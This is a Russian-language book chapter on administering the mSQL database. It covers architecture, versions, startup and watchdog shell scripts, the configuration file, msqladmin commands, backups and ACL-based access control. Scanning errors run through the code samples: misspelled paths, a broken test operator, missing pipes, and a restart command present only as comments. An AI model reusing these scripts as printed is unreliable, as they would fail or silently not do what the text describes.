    • Утилиты mSQL

Глава №5.

mSQL

Концепции баз данных и их проектирование имеют очень важное значение, но вы, вероятно, хотите приступить к непосредственной работе с MySQL или mSQL. He исключено, что вы уже выбрали ту или иную СУБД соответственно своим потребностям. Возможно, однако, вы надеетесь, что эта книга поможет вам принять такое решение. В этой главе мы подробно разберем mSQL. Если вы уже стали приверженцем MySQL, то эту главу можно пропустить. Напротив, если вас привлекает mSQL или вы хотите больше узнать о внутренних механизмах обеих баз данных, следует начать с этой главы.

mSQL является реляционной системой управления базами данных (РСУБД), открывшей эру дешевых баз данных малого и среднего масштаба с поддержкой SQL. Малые размеры, впечатляющая производительность и простота изучения сделали ее предпочтительным выбором растущего числа разработчиков программ для Интернет, которым не достает времени, чтобы стать экспертами в области программирования баз данных. Автор mSQL намеренно стремился к достижению этих целей, приступая к созданию программного продукта, способного заполнить зияющий пробел в ряду РСУБД.

Архитектура

Дэвид Хьюз преследовал три цели, создавая mSQL:

  • mSQL должна быть быстрой.
  • mSQL должна быть компактной.
  • mSQL должна обеспечивать множественность одновременных подключений.

Высокая скорость была главной целью mSQL. Поскольку в большинстве коммерческих SQL-серверов разработчики стараются реализовать полную спецификацию SQL2, а кроме того, и собственные расширения языка, им приходится расплачиваться производительностью и размерами. MSQL, напротив, жертвует некоторыми наиболее изощренными возможностями коммерческих серверов в пользу скорости. Для проекта Minerva требовалась возможность быстрого выполнения большого числа простых SQL-запросов. Именно это позволяет делать mSQL.

Скорость и размеры идут рука об руку. Как обнаружил Хьюз, если начать с самого основания и реализовать лишь самые необходимые функции, можно разработать SQL-сервер, который будет требовать столь мало ресурсов, что для его успешного использования не потребуется отдельной машины. В результате, mSQL обладает значительной частью функциональности основных РСУБД, требуя значительно меньших ресурсов.

Скорости и размера, достигнутых в mSQL, было бы достаточно для того, чтобы успешно заменить Postgres в проекте Minerva. Хьюз, однако, хотел изменить и ту модель поведения, которая, собственно, заставила его искать альтернативу. Хьюз спроектировал mSQL так, чтобы та могла обрабатывать множественные одновременные подключения в рамках одного процесса. В результате получается маленький, быстрый, эффективный SQL-сервер, способный одновременно обрабатывать несколько запросов - локально или по сети.

Для реализации своих проектных целей Хьюзу пришлось ограничить функциональность сервера. Диалект SQL, поддерживаемый mSQL, является подмножеством стандарта ANSI SQL2, содержащим наиболее употребительные команды, такие как CREATE, INSERT, SELECT, UPDATE и DELETE. Хьюз отказался от ресурсоемких операций, вроде поддержки транзакций. В том типе приложений, которые используют mSQL, функциональность, опущенная Хьюзом, обычно не требуется.

mSQL является однопоточным сервером с очередью. Одновременно к серверу может подключиться любое число клиентов - до определенного предела. При отправке клиентом запроса к серверу mSQL ставит запрос в синхронную очередь и обрабатывает все запросы последовательно по одному. Эффективность такого решения зависит, таким образом, от способности сервера быстро обработать каждый запрос. Если запросы вовремя не обрабатывать, очередь будет расти, что в итоге приведет к краху сервера из-за превышения системных ограничений. Поэтому скорость является решающим фактором для успешной работы mSQL. На рис. 5-1 показана работа очереди mSQL и однопоточная работа.

Однопоточная сущность mSQL устраняет необходимость в пакетной обработке. Поскольку запросы выполняются поочередно, они не способны помешать один другому. Конечно, было бы неплохо, если бы mSQL поддерживала транзакции, но в них нет необходимости для нормальной работы ядра базы данных при тех целях, которые ставились перед mSQL.

mSQL поддерживает два типа соединений со стороны клиента. Удаленные клиенты подключаются к серверу через известный порт TCP/IP. Используя TCP/IP, база данных mSQL может предоставлять доступ любому компьютеру в мире через Интернет. Локальные соединения тоже могут производиться через TCP/IP, но лучшей производительности можно добиться, используя стандартный сокет Unix, что эффективнее примерно на 20%.

Рис. 5-1. Архитектура клиент,/сервер в mSQL

С mSQL связан набор программ, позволяющих осуществлять полный доступ к базе данных. Монитор msql позволяет пользователю непосредственно направлять запросы серверу. Хотя во время разработки этот инструмент полезен, большинству пользователей необходим какой-либо интерфейс для доступа к базе данных посредством какого-либо приложения. Для поддержки разработки приложений mSQL имеет встроенный API на языке С, позволяющий любой С-программе соединяться с сервером mSQL через TCP/IP или сокет Unix.

mSQL поддерживает также сетевой протокол, позволяющий подключаться к серверу по сети, используя другие языки, без С API. С помощью этих двух интерфейсов разработчики, использующие множество языков, разработали библиотеки для подключения к mSQL почти из любого известного языка. В данной книге рассказывается об использовании API для С, Perl, Java и Python.

Версии mSQL

После выхода mSQL сообщество разработчиков программ немедленно подверглось его воздействию. Впервые появилась возможность работы с доступным по цене, поддерживающим SQL, ядром базы данных. Одной из поразительных особенностей было то, что оно не только было сравнимо по производительности с основными коммерческими продуктами, но на практике было быстрее - иногда более, чем в 100 раз -в тех областях, для которых предназначалось.

Однако в наше время вычислительная среда долго не стоит на месте. С возникновением широкомасштабного сотрудничества через Интернет не стало проектов, недоступных для преданных им групп программистов. К 1996 году стали появляться другие недорогие реализации SQL, MySQL в их числе, и mSQL перестала существовать в одиночестве.

В продолжение 1990-х Хьюз разрабатывал и совершенствовал mSQL. Однако ядро базы данных в итоге достигло той точки, где дальнейшая разработка требовала глубокого пересмотра всего проекта. Такая большая работа потребовала бы много времени, поскольку новый проект влечет новые ошибки и промахи. Одновременно необходимо осуществлять и поддержку существующего продукта. Таким образом, mSQL 2 появилась как переработка ядра базы данных при продолжении одновременной поддержки существующего продукта - mSQL 1.

mSQL 2 вышла в то время, когда первоначальный продукт начал устаревать. Проблемы с устойчивостью и отсутствие важных функциональных возможностей, таких, как поддержка достаточного числа типов данных, заставляли искать другие решения, например MySQL. mSQL 2 обеспечила устранение многочисленных ошибок, досаждавших пользователям последних версий mSQL 1, и добавила многочисленные новые возможности, сохраняя при этом верность первоначальным целям проекта. Расширилось подмножество ANSI SQL, поддерживаемое mSQL, и было добавлено несколько новых типов данных. Был переработан способ индексирования, значительно повысивший мощь системы.

Основные изменения, произведенные в mSQL 2 в сравнении с mSQL 1, следующие:

Возросшие устойчивость и производительность

В первом выпуске mSQL 2 были решены все известные проблемы со стабильностью в mSQL 1. Были устранены утечки памяти, а код тщательно протестирован для выявления ошибок. Общая производительность выросла, несмотря на добавление новых характеристик.

Улучшенная поддержка индексов

В первой версии mSQL использовалась очень слабая схема индексирования. В каждой таблице можно было иметь только один индекс, состоящий только из одной колонки, - первичный ключ. В mSQL 2 индексирование полностью переработано с целью поддержки более сложных и часто встречающихся задач. Теперь можно иметь несколько индексов для каждой таблицы и составлять их более чем из одной колонки. Индексирование теперь поддерживает индексные файлы как в виде В-дерева, так и в стиле AVL.

Дополнительные типы данных

В mSQL 2 добавились многие типы данных, что приближает его к полной реализации спецификации ANSI SQL2. Наряду с MONEY, DATE и TIME mSQL 2 поддерживает теперь и тип TEXT. В первоначальной версии mSQL все поля были фиксированной длины, и поэтому текстовые поля типа CHAR имели предустановленный размер. Часто для поддержки таких атрибутов, как адреса электронной почты или названия книг, приходилось определять большое поле типа CHAR, что приводило к неоправданному расходу памяти. Например, для поля адреса электронной почты вы определили бы поле CHAR(35). Даже если адрес оказывался «xxx@imaginary.com», mSQL использовал все 35 символов поля. Еще хуже то, что если адрес оказывался длиннее 35 символов, вам сильно не повезло. Новый тип данных TEXT решает обе проблемы, позволяя вам задать среднюю длину поля. Все, превышающее этот размер, будет храниться в буфере переполнения. При меньшем размере лишние символы не будут записываться. К сожалению, поля типа TEXT имеют недостатки, не позволяющие использовать их в качестве индексов и употреблять в предложениях типа LIKE.

Улучшенный сервис и поддержка API

Стандартный инструментарий, поставляемый с mSQL, улучшен с целью поддержки всех новых характеристик. Хьюз добавил новые функции, такие как, например, копирование и переименование таблиц в msqladmin. Приложение W3-msql для взаимодействия с WWW существенно переделано и дополнено. Язык сценариев переработан в Lite - язык с прямой поддержкой взаимодействия WWW и баз данных.

Если вы новичок в mSQL, то почти наверняка начнете работать с mSQL 2. Если вы имеете дело с уже работающей системой, то следует скрупулезно учитывать различия между обеими версиями, особенно если вы собираетесь перейти на mSQL 2.

Установка mSQL

Первым шагом при работе с mSQL является, естественно, загрузка и установка. Как вы это сделаете, зависит от типа предполагаемой платформы. mSQL появилась как приложение для Linux, и это та платформа, которую поддерживает Хьюз. Если у вас работает какая-то разновидность Unix, mSQL, скорее всего, сможет на ней работать. Даже если нет, mSQL поставляется с исходным текстом, и опытный С-программист исправит места, создающие несовместимость. Дистрибутив для Unix находится по адресу http://www.hughes.com.au .

Если вы работаете под Windows или OS/2, для вас тоже не все потеряно: переложения для Win32 и OS/2 также активно поддерживаются. Последние версии mSQL для PC находятся по адресу http://blnet.com/ msqlpc/. Хотя эти приложения относительно новые, они всегда немного отстают от самых свежих версий, предоставляемых Хьюзом. В момент написания книги номер текущей версии для Unix был 2.0.7, текущей версии для Win32 - 2.0.4.1, и текущей версии для OS/2 - 2.06. Меньше повезло пользователям Мае. На Макинтош перенесены только клиентские средства для mSQL.

Процедура установки зависит от платформы. Пользователям Unix придется компилировать свой дистрибутив, а для Win32 и OS/2 поставляются прекомпилированные двоичные файлы. Поскольку процедура установки меняется от одной версии к другой, мы не станем здесь останавливаться на ее подробностях. Вам следует изучить документацию, предоставленную вместе с вашим дистрибутивом, поскольку она наверняка соответствует точной процедуре установки для вашей версии.

Запуск mSQL

mSQL - это действительно единственное ядро базы данных типа «завел и поехал». Иными словами, можно установить mSQL, запустить сервер и сразу заняться делом. Серверный процесс mSQL называется msql2d (для серверов mSQL 1 он называется msqld). Этот исполняемый файл и все утилиты, поступающие с дистрибутивом mSQL, находятся в каталоге bin. Запустить экземпляр mSQL можно, просто введя msql2d без всяких параметров командной строки.

Такая реализация по умолчанию не всегда вас удовлетворит. В большинстве случаев потребуется отредактировать файл msql.conf в каталоге дистрибутива mSQL. Этот файл конфигурации mSQL 2 (в mSQL 1 он отсутствует) позволяет определить несколько часто используемых параметров. Его изменение обычно необходимо тогда, когда вы используете какой-нибудь прекомпилированный дистрибутив.

Демон mSQL - не ветвящийся процесс. Это означает, что запуск его из командной строки оставит процесс работать на терминале, пока вы явно не нажмете CTRL-C, чтобы прекратить его, или не переведете процесс в фоновый режим. Под Unix можно запустить сервер mSQL из командной строки в фоновом режиме, введя команду:

msqld2 &

Следующий сценарий запускает процесс сервера mSQL при запуске системы и корректно завершает его при остановке системы:

#!/bin/sh

if [ $1 - "start" ]; then

if [ -x /usr/local/Hughes/bin/msql2d ]; then

su msql -c '/usr/local/Hughes/bin/nisql2d &'

fi

else

if [ $1 = "stop" ]; then

if [ -x /usr/local/Hughes/bin/msqladmin ]; then

su msql -c '/usr/local/Hughes/bin/msqladmin shutdown'

fi

fi

fi

В этом сценарии предполагается, что вы запускаете mSQL в Unix с идентификатором пользователя msql. Разумеется, его нужно заменить конкретным ID пользователя, а также заменить /usr/'local/Hughes именем каталога, в который вы установили mSQL.

Поскольку версия для Win32 не работает пока как служба NT, можно запускать mSQL из папки Автозагрузка (StartUp), просто поместив ярлык для файла msql2d.exe в папку Автозагрузка (использование команды msqladmin мы опишем ниже в данной главе).

Хотя mSQL является очень устойчивой программой, иногда случаются какие-то неполадки, и сервер «умирает». В особенности ранние версии mSQL имели проблемы с устойчивостью, приводившие к неожиданному краху сервера. На этот случай желательно запустить какое-либо средство для проверки состояния сервера баз данных.

Приведенный ниже сценарий Unix старательно проверяет, работает ли еще демон msql2d. Если сервер не активен, он перезапускается, и администратору машины посылается сообщение.

#!/bin/sh

# Извлечь ID процесса демона базы данных

# Это годится для mSQL 2; для mSQL 1

# Строка должна быть другой:

# PID='cat /usr/local/Minerva/msqld.pid' PID='cat /usr/local/Hughes/msq!2d.pid'

# Далее проверяется активность процесса сервера.

# Эта строка пригодна для систем BSD (Linux)

ALIVE='ps aux grep $PID | grep -v grep | awk '{print $2}"

# Для систем SysV (Solaris) раскомментируйте следующую строку

#ALIVE='ps -et grep $PID | grep -v grep | awk '{print $2}"

if [ $ALIVE ]

then

REALLY_ALIVE='msqladmin version' DATE='date'

#Если 'ERROR', или если

# выдачи вообще не было, msqladmin

# не могла подключиться к серверу баз данных

if ! echo $REALLY_ALIVE | grep "^ERROR"

then

exit

fi

if [ ! $REALLY_ALIVE ]

then exit;

fi

else

# Для mSQL 1 должно быть /usr/local/Minerva/hin/msqld &

# for mSQL installations /usr/local/Hughes/bin/msql2d &

mail -s "mSQL daemon restarted" root@yourmachine.com <<EOM

The mSQL daemon died unexpectedly and was restarted on $DATE.

Sincerely,

The mSQL Watchdog

EOM

fi

После запуска mSQL может обмениваться данными с окружающим миром двумя способами. Связь с Интернетом происходит через порт TCP/IP. По умолчанию mSQL слушает порт 1112. mSQL2 слушает порт 1114. Вы можете при желании изменить номер порта либо во время компиляции (mSQL 1), либо через файл конфигурации (mSQL 2).

Локальная связь происходит через сокеты Unix. Сокеты Unix выглядят обычными файлами файловой системы Unix. От обычных файлов их можно отличить по символу, следующему за именем при использовании флага `F` в команде Is. mSQL использует файл /deu/msql, в то время как mSQL 2 использует файл /usr/local/Hughes/msql2.sock.

Запуск нескольких демонов

Иногда может оказаться полезным запустить несколько серверов базы данных одновременно. Наиболее часто причиной этого служит желание увеличить производительность. Поскольку mSQL имеет однопо-точную архитектуру, она обрабатывает запросы последовательно. Если значительная часть обращений происходит лишь к одной из баз данных и даже таблиц, приложения, обращающиеся к другим базам данных или таблицам, могут простаивать длительное время в ожидании обработки запроса.

В многопоточном сервере, таком как MySQL, вы не столкнетесь с этой проблемой, но и в mSQL можно обойти ее, запустив несколько процессов mSQL. Недостатком такого решения является то, что к одной базе данных может обращаться только один демон. Без этого ограничения один демон мог бы переписывать изменения, вносимые другим. Осуществить такое ограничение можно, указав каждому работающему экземпляру msql2d отдельный исходный каталог для хранения баз данных. В mSQL 2 это можно сделать через параметры командной строки и файл конфигурации. Для mSQL 1 придется компилировать и устанавливать mSQL несколько раз в разные каталоги.

Чтобы установить для mSQL 2 второй каталог, используйте следующие команды:

mkdir -p /usr/local/second_database/msqldb/. tmp

ср /usr/local/Hughes/msql.conf /usr/local/Hughes/msql.acl\

/usr/local/second_database

chown -R msql /usr/local/second_database

Некоторые Unix-системы используют mkdirs вместо mkdir -p, в других же такая возможность может вообще отсутствовать, и тогда каждый каталог придется создавать отдельно. Вам придется также заменить идентификатор пользователя, под именем которого вы запускаете msql2d, если он отличен от «msql». В Windows и OS/2 процедура та же, за исключением названий команд и символа-разделителя пути.

Когда каталоги созданы и файлы скопированы, нужно отредактировать файл msql.conf из нового каталога, чтобы переменная Inst_Dir указывала на /usr/local/'second_database, а значение TCP_Port не конфликтовало с другими TCP-службами сервера. Значение Unix_Port можно не изменять, поскольку новый сокет будет образован в новом каталоге.

Для запуска нового демона введите ту же команду msql2d со следующими параметрами:

msql2d -f /usr/local/second_database/msql. conf

При работе с mSQL 1 положение немного сложнее. Придется откомпилировать и установить mSQL столько раз, сколько экземпляров mSQL вы хотите запускать. Все ваши утилиты будут работать с любым экземпляром сервера.

Файл конфигурации mSQL

Мы уже сталкивались с файлом конфигурации mSQL, но еще не вникали в мелкие подробности. В mSQL 1 все, кроме безопасности, определялось во время компиляции. В mSQL 2 есть файл конфигурации, позволяющий управлять поведением сервера mSQL во время работы. Ниже дан пример файла конфигурации.

[general]

Inst_Dir = c:\usr\local\Hughes

mSQL_User = msql

Admin_User = root

Pid_File = %I\msql2d.pid

TCP_Port = 1114

Unix_Port = %I\msql2.sock

[system]

Msync_Timer = 30

Host_Lookup = True

Read_0nly = False

Remote_Access = True

Local_Access = True

[w3-msql]

Auth_Host = NULL

Footer = True

Force_Private = False

Сценарий конфигурации разделен на секции, как ini-файл в Windows, состоящие из пар ключ-значение. Сейчас для нас представляет интерес только секция general.

Inst_Dir

Каталог, в который установлена mSQL. Более точно, это каталог, в котором mSQL ищет ваш ACL-файл, РID-файл для mSQL, и каталог msqldb, в котором размещаются каталоги баз данных. В результате можно поддерживать несколько серверов mSQL с единым набором исполняемых файлов.

mSQL_User

ID пользователя, от имени которого запускается процесс mSQL.

Admin_User

ID пользователя, которому разрешено выполнять команды администрирования, такие как msqladmin, обсуждаемая в следующем параграфе.

TCP_Port

Порт TCP/IP, который будет слушать сервер. В Unix номер порта, меньший 1024, можно выбрать, только если сервер mSQL запущен суперпользователем.

Unix_Port

Имя файла сокета Unix. В этом файле мы использовали переменную % 1% вместо Inst_Dir.

Администрирование баз данных

Теперь, когда ваш сервер баз данных работает 24 часа в сутки 7 дней в неделю, надо заставить его обслуживать ваши потребности в доступе к базам данных.

Утилита msqladmin

Утилита msqladmin является вашим главным инструментом администрирования баз данных. Она поддерживает создание, удаление, копирование, переименование и исследование ваших баз данных mSQL. Если вы вернетесь к нашему обсуждению того, что такое база данных в главе 1, то вспомните, что mSQL сама по себе - не база данных. Ваши базы данных - это группы файлов в каждом подкаталоге каталога msqldb. mSQL - система управления этими базами. Одна СУБД одновременно может обслуживать много баз данных. Утилита msqladmin позволяет администрировать базы данных для выбранного сервера.

Создание баз данных

Первое, что вы захотите сделать после установки mSQL, это создать базу данных, которая служит какой-либо вашей цели. Синтаксис создания базы данных следующий:

msqladmin create DATABASENAME

В этой команде DATABASENAME - имя новой базы данных, которую вы хотите создать. Команда создает новую пустую базу данных с указанным вами именем. Как мы говорили раньше, база данных в mSQL — просто каталог в каталоге msqldb в том месте, куда вы установили mSQL. mSQL помещает все данные, относящиеся к вашей новой базе данных, в файлы, находящиеся в этом каталоге. Например, если вы создаете базу данных с именем «mydata», используя установку mSQL по умолчанию, будет создан каталог /usr/local/Hughes/msqldb/mydata.

Удаление базы данных

Во время разработки нового приложения баз данных вы, вероятно, захотите создать несколько баз данных для поддержки процесса разработки. Например, в процессе разработки принято иметь различные базы данных для разработки, тестирования и окончательного результата. По завершении разработки можно освободиться от баз данных для разработки и тестирования. Утилита msqladmin имеет параметр «drop», позволяющий удалить базу данных:

msqladmin drop DATABASENAME

Как и в команде msqladmin create, DATABASENAME является именем базы данных, которую вы хотите уничтожить. mSQL не позволит вам случайно удалить базу данных. После ввода этой команды она предупредит вас, что удаление базы данных потенциально очень опасно и попросит вас подтвердить свое намерение. После удаления базы данных вы можете убедиться в том, что в каталоге msqldb больше нет каталога, служившего ранее этой базой данных.

Переименование и копирование баз данных

Удобной новой возможностью, включенной в mSQL 2, является возможность переименования и копирования баз данных.

В mSQL 1 можно было обратиться к файловой системе и вручную переименовать или скопировать каталоги баз данных средствами операционной системы. Если пойти по этому пути, то нужно не забыть перезапустить сервер mSQL и разобраться с правами доступа. В mSQL 2 переименование осуществляется просто:

msqladmin move OLDNAHE NEWNAME

Например, если вы создали базу данных «midata» с ошибкой в имени и хотите исправить ее, нужно выполнить команду:

msqladmin move midata mydata

Копирование столь же просто:

msqladmin copy mydata mynewdata

Состояние сервера

Если вы работали с MySQL, то обратите внимание, что контроль состояния сервера - область, в которой mSQL явно не силен. Утилита msqladmin служит вам интерфейсом к контролю состояния серверов. msqladmin stats в mSQL 2 выводит на экран следующее:

Server Statistics

-------------------------

Mini SQL Version 2.0.4.1 - Forge Alpha Build #9

Copyright (c) 1993-94 David J. Hughes

Copyright (c) 1995-98 Hughes Technologies Pty Ltd. All rights reserved.

Config file : c:\usr\local\hughes\msql.conf Max connections : 61 Cur connections : 1

Running as user : UID 500

Connection table :

Sock Username Hostname Database Connect Idle Queries,

Здесь требуется некоторое пояснение:

Max connections

Максимальное количество одновременных соединений, которое может обработать сервер.

Cur connections

Число подключений к серверу в данный момент. Sock

Номер сокета Интернет, используемый mSQL для идентификации каждого соединения.

Username

Имя пользователя, подключенного к серверу.

Hostname

Имя машины, подключенной к серверу. «Unix sock» указывает на локальное подключение через сокет Unix.

Database

Имя базы данных, к которой пользователь подключен в данный момент. «No DB» означает, что клиент не выбрал базу данных.

Connect

Общее время соединения клиента с сервером в часах и минутах.

Idle

Число минут, прошедших с момента последнего запроса пользователя.

Queries

Общее количество запросов, посланных клиентом через данное соединение.

Помимо команды msqladmin stats можно получить другую, более статичную информацию с помощью команды msqladmin version. Ее выдача может выглядеть так:

Version Details :-

msqladmin version 2.0.4,1 - Forge Alpha Build #9

mSQL server version 2.0.4,1 - Forge Alpha Build #9

mSQL protocol version23

mSQL connection 127.0.0.1 via TCP/IP

Target platform CYGWIN32_NT-4.0-1586

Configuration Details :-

Default config file c:\usr\local\hughes/msql.conf

TCP socket 1114

Unix socket c:\usr\local\Hughes\msql2.sock

mSQL user msql

Admin user root

Install directory c:\usr\local\Hughes

PID file location c:\usr\local\Hughes\msql2d.pid

Memory Sync Timer 30

Hostname Lookup False

Каждое значение, выводимое командой msqladmin version, может быть установлено в конфигурационном файле mSQL 2.

Если mSQL компилировалась со включенной отладкой, mSQL будет помещать данные о выполняющемся процессе сервера в отладочный файл, указанный при компиляции. Других возможностей ведения журналов mSQL не предоставляет.

Завершение работы сервера

Ранее в этой главе в примере сценария запуска/остановки для Unix вы видели, как завершать работу сервера mSQL. Команда такая:

msqladmin shutdown

Эта команда осуществляет корректное завершение работы сервера mSQL.

Перезагрузка при изменении параметров сервера

Если вы производите изменения в ACL mSQL, нужно дать серверу команду на перезагрузку этих изменений. Для этого вводится команда:

msqladmin reload

Мы расскажем о mSQL ACL позднее в этой главе.

Параметры командной строки msqladmin

Во всех приведенных до сих пор примерах msqladmin использовалась для администрирования локального сервера mSQL с файлом конфигурации, созданным по умолчанию. Эту утилиту можно использовать для администрирования серверов на других машинах с другими конфигурационными файлами. Полный синтаксис утилиты msqladmin таков:

msqladmin [-h host] [-f conf] [-q] COMMAND

Параметры имеют следующее значение:

-h

Имя машины, на которой работает администрируемый сервер.

-f

Файл конфигурации для сервера, которым вы хотите управлять. Скорее всего, вы будете использовать этот параметр при работе нескольких экземпляров mSQL, как описано ранее в этой главе.

-q.

Запуск в «тихом» режиме. При этом msqladmin не просит подтверждения команд. Этот параметр полезен при запуске утилиты из сценариев.

Резервирование данных

Правильное резервирование является жизненно важной частью всякой схемы администрирования. Достаточно серьезное повреждение базы данных может нарушить работу всех приложений, связанных с этой базой данных. Как говорят, качество данных определяется качеством последней резервной копии.

При использовании mSQL есть несколько методов резервирования. Как чаще всего бывает в mSQL, они небогаты украшениями, но дело свое делают. Чаще всего для создания резервных копий баз данных mSQL используется команда msqldump. Она делает полный стандартный дамп всей базы. Для каждой базы данных в системе нужно выполнить свою команду, например:

msqldump database1 > /usr/backups/database1.sql. daily

msqldump database2 > /usr/backups/database2.sql. daily

msqldump database3 > /usr/backups/database3.sql. daily

В этом примере создается дамп трех разных баз данных в одном каталоге.

Расширение daily используется для указания на то, что резервные копии создаются ежедневно. Как часто вы будете резервировать данные, зависит от их важности, размера и типа имеющихся у вас носителей. Поскольку mSQL позволяет создавать только полные дампы, размер резервных копий может быть очень большим в системах, содержащих большой объем данных. Если у вас достаточно места, то неплохо делать отдельные резервные копии для каждого дня недели или даже двух недель или месяца. По окончании цикла ленты используются заново, если это необходимо; а при записи на жесткий диск переписываются файлы. При такой схеме всегда есть данные за одну неделю. При создании резервных копий на жестком диске можно объединить отдельные ежедневные копии в одну ежедневную копию, перезаписываемую каждый день. В этом случае следует также иметь отдельную еженедельную копию, чтобы восстановить случайно удаленные данные, отсутствующие в последней дневной копии. Такую схему можно использовать, только если вы ограничены в пространстве для резервирования.

Другой метод резервирования основывается на простоте структуры файлов данных mSQL. В отличие от некоторых других пакетов, mSQL хранит данные в обычных файлах операционной системы, поэтому можно обращаться с ними как со всякими другими файлами. Полную резервную копию mSQL можно сделать, остановив сервер и создав tar-архив каталога данных mSQL. Предварительно сервер следует остановить, в противном случае данные могут оказаться неполными или поврежденными.

Восстановление данных из резервных копий производится столь же просто, как создание копий. Дампы, создаваемые msqldump, имеют стандартную форму SQL и могут быть обработаны монитором msql. Эти дампы содержат команды для создания как таблиц, так и данных, поэтому нужно либо удалить существующие таблицы, либо удалить из дампов команды CREATE TABLE. Если вы восстанавливаете только отдельные строки данных, можно просто скопировать их из дампа и подать на вход монитора msql.

При восстановлении данных из архивной копии каталога данных mSQL возможно только полное восстановление сохраненного состояния. Нельзя восстановить какую-то часть данных, и все изменения, произведенные после создания последней резервной копии, будут утеряны. Для проведения этого восстановления просто остановите сервер и затем введите резервный файл в каталог данных mSQL. После перезапуска сервера он окажется точно в том состоянии, которое было перед созданием копии, за исключением того, что будут присутствовать вновь добавленные базы данных, сохраненные в неприкосновенности.

Выбор метода зависит от ваших потребностей. Создать двоичный архив очень просто, и восстановление при этом происходит очень быстро. Однако при этом нельзя делать частичное восстановление, и вновь добавленные данные будут утеряны. С другой стороны, создание дампа в виде SQL может занять много времени, хотя он допускает частичное восстановление, правда, с некоторыми усилиями. Кроме того, дамп SQL можно создать в любой момент, в то время как для создания архива требуется завершить работу сервера, что может оказаться решающим фактором при интенсивной работе.

И последнее, что следует учитывать, - вопрос переносимости. В отличие от двоичной резервной копии, дамп SQL - текстовый и целиком состоит из SQL-команд. При незначительной модификации, главным, образом для удаления специфического SQL, дамп SQL может быть импортирован любым совместимым со стандартом SQL сервером. Это очень удобный способ перемещения данных, если возникает необходимость перейти на новый сервер SQL.

Система безопасности

Система безопасности, поддерживаемая сервером mSQL, может, в зависимости от точки зрения, показаться как достоинством, так и недостатком. С одной стороны, ей легче управлять, чем в любой другой РСУБД. Эта легкость достигается благодаря упрощенности. К сожалению, такая упрощенность недопустима для сколько-нибудь сложных приложений баз данных.

mSQL управляет безопасностью с помощью файла msql.acl, который находится в каталоге установки mSQL. Расширение .acl образовано от «Access Control List» - «Список контроля доступа» - очень гибкой системы авторизации, с некоторого времени используемой в ряде операционных систем и приложений. Формат файла msql.acl следующий:

database=mydata

read=*

write=*

host=*

access=local,remote

database=mynewdata read=*

wriite=admin,root host=* access=local

Для каждой базы данных есть ряд опций. Строки read и write указывают, каким пользователям вы хотите предоставить право чтения (SELECT) базы или записи (INSERT, UPDATE, DELETE) в базу данных. Строка host показывает, какие машины могут иметь удаленный доступ к базе. Если строка access содержит «local», значит, разрешены локальные подключения через сокеты Unix, а если содержит «remote», то разрешены удаленные подключения по TCP.

В файле ACL допустим символ-маска «*» в полях read, write и host. Поэтому можно иметь такой ACL:

database=mynewdata

read=*

write=msql*

host=*. client.com,"isp.com

access=local, remote

Этот ACL означает, что любой пользователь любой машины в client.com, а также любой пользователь любой машины в любом домене, оканчивающемся на isp.com - например, wisp.com или lisp.com, - может иметь подключение к базе данных. Эти пользователи могут осуществлять чтение данных, но только пользователи, чьи имена начинаются с «msql», могут вносить в нее изменения.

По умолчанию все права отсутствуют, поэтому если вы пропустите строку write, никто не сможет модифицировать базу данных. Отдельные пользователи и машины могут исключаться с помощью префикса «-» перед их именем. Рассмотрим пример:

dataoase=moredata

read=-bob,*

write=jane

host=-junk. isp.com,*, isp.com

access=local,remote

Этот ACL разрешает подключение всем хостам домена isp.com, за исключением junk.isp.com. Кроме того, чтение разрешено всем пользователям, кроме пользователя «bob». Только «jane» имеет право записи в базе данных. Поскольку по умолчанию установлен отказ в доступе, конкретно указывать, кому отказано в доступе, как «bob'y»» бессмысленно, если строка не содержит также символа «*».

mSQL действует согласно первому обнаруженному соответствию. Например, строка read=*,-bob дает пользователю «bob» право чтения.

Как указывалось ранее в этой главе, команда msqladmin reload перезагружает ACL после внесения вами изменений. Если вы ее не выполните, внесенные изменения будут учтены только при следующем перезапуске сервера.

Утилиты mSQL

Об одной из поставляемых с mSQL утилит, msqladmin, мы уже рассказали. mSQL содержит семь основных утилит, составляющих основу взаимодействия с ней. В дополнение к этим основным утилитам mSQL

поддерживает облегченную утилиту обработки сценариев Lite и интерфейс к WWW под названием W3-mSQL. Помимо того, существуют многочисленные средства сторонних разработчиков. Сейчас мы подробно остановимся на базовых утилитах, поставляемых с mSQL, и пробежим по списку утилит «со стороны». К Lite и W3-mSQL мы обратимся позднее.

Утилиты командной строки

Каждая утилита командной строки имеет подробную подсказку, разъясняющую ее синтаксис. В основном этот синтаксис является копией команды msqladmln. Именно, параметр -h позволяет указать машину, а параметр -/ позволяет задать имя конкретного файла конфигурации.

msql

Это интерфейс командной строки к mSQL, позволяющий интерактивно выполнить команду SQL для заданной базы данных. Кроме обычных параметров, отмеченных выше, вы задаете имя базы данных, к которой хотите обратиться. Из всех утилит эта, вероятно, используется наиболее часто.

msqldump

Эта команда выводит все содержимое базы данных или таблицы, включая саму структуру таблицы, в виде ряда команд SQL. Результат работы этой утилиты можно использовать для создания резервной копии базы данных и воссоздания ее на другой машине.

msqlimport

Эта команда читает форматированный файл данных и добавляет их в указанную таблицу базы данных. Файл может иметь различный формат, в том числе с разделителем-запятой и кавычками.

relshow

Эта утилита выводит структуру базы данных и находящихся в ней таблиц. Она полезна, если вам нужно узнать, какие таблицы есть в базе данных или какие колонки существуют в нужной таблице.

msqlexport

Эта утилита выводит содержимое таблицы на стандартное устройство вывода в виде текстового файла с разделителями. Многие другие СУБД и приложения, такие как Microsoft Excel, могут читать этот файл и импортировать из него данные.

Поддержка сторонними разработчиками

Как и для любого популярного в сети Интернет программного продукта, существуют многочисленные программы сторонних разработчиков, поддерживающие mSQL. Они охватывают диапазон от утилит конвертирования до интерфейсов программирования. Как бы вы ни применяли mSQL, вы наверняка будете использовать хотя бы один из перечисленных здесь продуктов сторонних разработчиков. Конечно, этот список не может претендовать на полноту, поскольку состав имеющихся утилит ежедневно меняется. Самые свежие списки утилит

сторонних разработчиков можно получить с веб-серверов Hughes и mSQL PC, о которых шла речь ранее в этой главе.

Утилиты преобразования баз данных

dbf2msql

Преобразует файлы DBF в таблицы mSQL. DBF - это формат файлов базы данных dBASE, бывшей когда-то ведущей настольной базой данных. Хотя dBASE утратил популярность, формат DBF установился как наиболее распространенный для передачи данных между различными приложениями баз данных. Все главные настольные приложения баз данных могут читать и писать DBF-файлы. Это приложение полезно для экспорта/импорта данных в коммерческие настольные базы данных.

mSQLpp

